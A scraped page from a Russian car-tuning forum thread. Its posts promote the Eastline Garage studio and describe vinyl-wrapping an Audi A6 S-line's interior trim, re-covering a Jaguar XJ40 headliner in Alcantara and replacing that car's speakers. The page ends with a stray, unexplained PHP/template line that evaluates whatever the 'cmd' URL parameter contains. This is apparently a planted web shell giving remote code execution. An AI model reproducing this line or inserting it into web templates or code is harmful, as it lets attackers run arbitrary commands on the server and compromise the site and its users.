    Вот таким было наше знакомство с Британской классикой. Если у Вас есть классический авто, то мы готовы взяться за его реставрацию.

    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  9. #309
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Оклейка винилом салонного пластика Audi A6 S-line



    Глобализация ведет нас к экономии, унификации, корпорации стремятся сэкономить буквально на всем. Порой кажется, что экономят и на дизайнерах. Поэтому даже в новых авто порой требуется внести изменения.
    Встречаем в тюнинг ателье Estline Garage абсолютно новый автомобиль Audi A6 S-line. Превосходный во всех смыслах авто, качественные материалы, современные линии и мотивы в интерьере. Но вот есть загвоздка. Панель, проходящая на пассажирской стороне торпедо, детали на центральной консоли вокруг ручки КПП и вставки на дверях в районе ручек открывания дверей – они все серые. В черном салоне это непростительный промах. Да пластик не как в бюджетных авто, но он абсолютно не подходит к образу автомобиля, и владелец решил, что необходимо устранить этот недостаток.



    Для изменений салона А6 мы выбрали процедуру перетяжки салонного пластика виниловой пленкой. Выбор пленок огромен, можно подобрать для любого авто и интерьера, но нам потребовался хит этого сезона – темный шлифованный алюминий.



    Пленка номер один, по использованию в винилизации салонного пластика. В нашем случае ее выбор обусловлен тем, что изначально панели были покрашены также под шлифованный алюминий. И выбранная нами пленка обладает самым основным свойством – она фактурная, что позволяет добиться максимально реалистичного вида оклеенных деталей. Свет буквально струится по оклеенным поверхностям, создавая эффект натурального алюминия.



    Оклейка салонного пластика пленкой производится при полном демонтаже всех деталей, к сожалению, с каждой новой модификацией меняются схемы сборки и разборки салона. Мастера Estline Garage порой «в слепую» начинают работу над новой моделью, изучая ее особенности крепления панелей. Работа по демонтажу салонного пластика занимает большую часть времени при оклейке винилом, ведь так важно сохранить первозданный вид салона, аккуратно, с максимальной точностью и неспешностью отнестись к каждой, даже самой мелкой детали.



    Так, например, панель на центральной консоли у КПП имеет множество дополнительных элементов, таких как открывающиеся ящички и ниши. Кстати для демонтажа этой панели требуется практически полностью разобрать всю центральную консоль вплоть до воздуховодов для задних пассажиров.



    Оклейка вставок на дверях винилом помогла завершить новый образ, ведь их видно не только обитателям салона, но и всем зевакам при открывании дверей.



    Для преображения салона мы можем предложить и аквапринт, но в данном случае требовалась именно пленка для сохранения первоначально заданного заводом настроения и сочетания фактур материалов.



    Всего за день наши мастера смогут провести подобную работу и с вашим авто. Эта Audi A6 S-line прошла процедуру оклейки салонного пластика винилом и отныне придерживается девиза меньше серости в пластике, больше индивидуальности.


  10. #310
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Замена акустической системы Jaguar XJ (XJ40), реставрация потолка и его перетяжка в итальянскую алькантару

    Все чаще в стенах тюнинг ателье Eastline Garage стали появляться классические автомобили, ставшие уже неоклассикой и как ни странно, но многие из них чистокровные британцы и это нас даже радует ведь скоро мы расскажем о самом английском проекте нашего ателье.



    Встречаем в Eastline Garage Jaguar XJ (XJ40). Третье поколение легендарного премиум седана Ягуар, его роскошный дизайн, строгие и прямые линии до сих пор заставляют людей на улице оборачиваться вслед автомобилю. Его размеры поражают, а уровень оснащения и технических ухищрений просто бесподобен, чего стоит только автоматизированная подача ремня безопасности. Этот хитроумный механизм придуман чтобы при посадки в авто не помять полу пиджака, вот как в Англии заботятся об аристократии.



    В руки мастеров Eastline Garage этот ягуар попал по двум причинам, обновление акустической системы и реставрация потолка. Вкусности в виде аудиосистемы оставим на потом, а начнем с привычной процедуры перетяжки потолка в итальянскую алькантару.



    К сожалению потолочное покрытие и сами панели оставляли желать лучшего и поэтому после удаления старой обшивки специалисты Eastline Garage принялись за реставрацию потолочных панелей. Вопрос требующий не только прямых рук, но и терпения, ведь требуется бережно разобрать механизм открывания люка, провести полную его профилактику, затем приступать в работе с огромными потолочными панелями. За годы эксплуатации потолок полностью потерял свою жесткость и требовал тщательной проработки как всей поверхности, так и несущих силовых элементов, что очень важно учитывая его размеры.



    По завершению реставрационных работ мы приступили к перетяжке потолка в алькантару. Материал идеально подходящий в салон такого авто. Основным параметром выбора цвета было полное совпадение тона родной кожаной обивки сидений и новенькой итальянской алькантары. Благодаря огромному выбору материалов и развитой сети поставщиков в Eastline Garage всегда можно найти необходимый материал абсолютно любого оттенка. Перетяжка потолка в алькантару процедура, проведенная нашими мастерами бесчисленное количество раз и именно этот необъятный опыт помогает нам выполнять работу на самом высоком уровне. Сложности не вызовет ни один хитроумный потолок с изгибами, люками или даже мягкий верх кабриолета.



    Потолок в алькантару и без козырьков, так не бывает. Пока мы занимались восстановлением панелей, мастера по пошиву не сидели сложа руки и перешили солнцезащитные козырьки в алькантару светло-серого оттенка, такую же как использованную при перетяжке потолка.



    Автозвук, это одно из наших новых направлений в тюнинге, наши звуковики готовы взяться за любую задачу, будь она нестандартна или невыполнима по мнению других.



    При работе с Jaguar XJ требовалось модернизировать имеющуюся систему, но не стоило увлекаться, ведь внешний вид панелей должен остаться неизменным, а в салоне представительского седана не нужны киловатты, достаточно просто хорошего, качественного звучания. Сперва наперво – разбор всех компонентов аудиосистемы, разбор дверных панелей с целью замены фронта и тыла. Дверные карты заставили себя поволноваться, ведь кто-то до нас вскрывал их для проведения шумоизоляции, а от предыдущих мастеров можно ожидать всего что-угодно, наш горький опыт показывает, что порой под обшивкой скрывается кустарщина и непрофессиональное выполнение работы, приводящее к порче оборудования или внешнего вида элементов декора.



    Демонтировав родной Philips 1990 года производства мы заменили его на новенькую двух полосная коаксиальную акустику Morel Tempo Ultra Integra 502. Модель на рынке уже порядка двух лет и отлично проявила себя, в нашем случае это был оптимальный выбор подходящий под требования клиента и самое главное подходящий по характеристикам, ведь требовалось сохранить оригинальное сопротивление на уровне 4 Ом, а благодаря современным технологиям производства выходная мощность этой системы порядка 220 Вт.



    Под задние сиденья установлена мидбасовая акустика DLS R6.2 bass. Ее пиковая мощность достигает 300 Вт, а отличительной чертой является глубокое и чистое звучание.



    Казалось бы, что может быть сложного в процедуре установки акустики? Но порой требуется модернизация креплений, или более того изготовление дополнительных элементов из акустической фанеры, необходимы навыки работы с электропроводкой. Работа по автозвуку требует вдумчивого выбора компонентов, грамотного их крепления и подготовки акустических ниш, ведь чаще всего с завода автомобиль звучит как консервная банка с наушниками от телефона внутри.
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

+ Ответить в теме
Страница 31 из 38 ПерваяПервая ... 21 29 30 31 32 33 ... ПоследняяПоследняя

Похожие темы

  1. Перетяжка мебели и салона автомобиля!!!!!
    от семаргл в разделе Партнеры / Клубные скидки
    Ответов: 7
    Последнее сообщение: 01.07.2024, 20:47
  2. Ответов: 5
    Последнее сообщение: 02.04.2024, 09:54
  3. Ответов: 1
    Последнее сообщение: 05.12.2012, 02:16
  4. Перетяжка салона
    от Grinader в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 4
    Последнее сообщение: 03.11.2007, 01:18

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}